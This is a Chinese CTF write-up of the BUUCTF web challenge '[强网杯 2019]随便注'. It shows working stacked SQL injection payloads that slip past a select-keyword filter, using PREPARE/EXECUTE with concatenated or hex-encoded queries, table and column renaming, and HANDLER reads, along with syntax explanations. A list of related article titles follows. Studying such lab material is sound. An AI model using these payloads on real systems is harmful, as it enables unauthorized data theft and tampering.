题目简介

  • 题目名称:[强网杯 2019]随便注 1
  • 题目平台:BUUCTF
  • 题目类型:Web
  • 考察知识点:
    • SQL注入

解题步骤

方法一:

  1. 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入。
  2. 提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1,说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,但是没有flag


3.既然存在sql注入,那么我们手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
4.既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。
5.查看数据库名:1';show databases;#

6.查看数据表:1';show tables;#

7.我们先来看一下第一个表1919810931114514的表结构,有两种方式:

方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
#注意,如果tableName是纯数字,需要用`包裹,比如
1';desc `1919810931114514`;#

获取到字段名为flag:

8. 因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE  hacker;#

得flag:flag{c0fc32ff-8ae1-4b96-8da0-1f621d7fdae3}

方法二:

前几步和方法一一致,最后一步(第8步),我们可以直接将

select * from `1919810931114514`

语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:

1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE  hacker;#

同时,我们也可以先定义一个变量并将sql语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

方法三

最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 

然后通过1' or 1 = 1 #,成功获取到flag

方法四

此题还可以通过handle直接出答案:

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

知识详解

1.预编译

预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:

PREPARE 名称 FROM     Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

举例:查询ID为1的用户:

方法一:
SElECT * FROM t_user WHERE USER_ID = 1方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

2. 更改表名

  • 修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;

  • 修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

    3.handle

  • handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:

    打开表:
    HANDLER 表名 OPEN ;
    

查看数据: HANDLER 表名 READ next;

关闭表: HANDLER 表名 READ CLOSE;

```

参考资料

  • [1]:末初-Dest0g3 520迎新赛 Writeup
  • [2]:Waldo-PHP之一句话木马
  • [3]:kawhi-CTF丨.htaccess文件的利用,没有比它更全面的文章了!

分享网络安全学习笔记和CTF真题详解,更多内容欢迎大家关注公众号:【张甲】

强网杯 2019]随便注 【SQL注入】四种解法相关推荐

  1. [强网杯 2019]随便注 —— 堆叠注入

                           [强网杯 2019]随便注 前言        个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...

  2. BUUCTF Web [强网杯 2019]随便注

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  3. [强网杯 2019]随便注 1

    题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...

  4. buuctf [强网杯 2019]随便注 1

    buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...

  5. BMZCTF 强网杯 2019 随便注 原理+题解

    目录 知识点 堆叠注入 show语句 mysql预编译 过程 重点 预编译 重命名 总结 知识点 堆叠注入 堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开.而堆叠查询注入攻击就 ...

  6. BUUCTF [强网杯 2019]随便注

    题目 打开环境发现是经典的提交界面 老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...

  7. [强网杯 2019]随便注 1【SQL注入】解析过程

    1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入. 2.提交后提示error 1064 : You have an error in your SQL ...

  8. BUUCTF-WEB:[强网杯 2019]随便注 1

    题目环境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn 打开环境: 尝试注入: 解题思路: 1.先尝试用union联合注入: 第 ...

  9. 【BUUCTF】强网杯 2019随便注1 write up

    输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...

最新文章

  1. 边沿检测与信号同步?
  2. 支付宝当面付扫码支付支付后不回调_支付宝当面付门店码
  3. UltraEdit正则表达式介绍及实例
  4. 十天学Linux内核之第九天---向内核添加代码
  5. Android Context Hook
  6. 微软 python教程_最强福利——来自微软的Python学习教程(开发指南)
  7. 【图论】求无向连通图的割点
  8. 数学建模-3.插值算法
  9. ros openwrt 分流_常平:推进“截污大会战”补贴助力企业雨污分流
  10. 《Python编程实战:运用设计模式、并发和程序库创建高质量程序》—— 导读
  11. SharePoint专家新闻轮转器WebPart----亲測力推之Web部件
  12. linux系统之间互传文件
  13. 利用动态图层实现数据的实时显示
  14. mysql安装包配置方式_mysql安装包方式安装及配置(Windows)
  15. 《爱的博弈》(让婚姻持久保鲜的人际关系圣经)主要内容及大纲 免费下载
  16. C# ManualResetEvent 与 AutoResetEvent 区别
  17. vmstat 命令详解
  18. IDEA打包jar包详尽流程
  19. python 并发之asyncio
  20. 解决每次打开office都提示windows正在配置visio的问题以及office2013闪退问题

热门文章

  1. Gunicorn的使用手册看这篇就够了
  2. 如何让Mac终端默认运行python3
  3. 分布式一致性——Paxos
  4. a76比a73强多少_不吹不黑谈谈自己用A7和A73的感受
  5. JS实现页面刷新和重新加载功能(关闭当前窗口)
  6. 【微语】马云,告诉我怎么挣钱
  7. Karen莫文蔚签约索尼音乐 携音乐厂牌荣耀回归
  8. 7-70 打印九九口诀表
  9. carlife Android版本,百度CarLife车机端
  10. html正则表达式登录验证,JavaScript正则表达式验证登录实例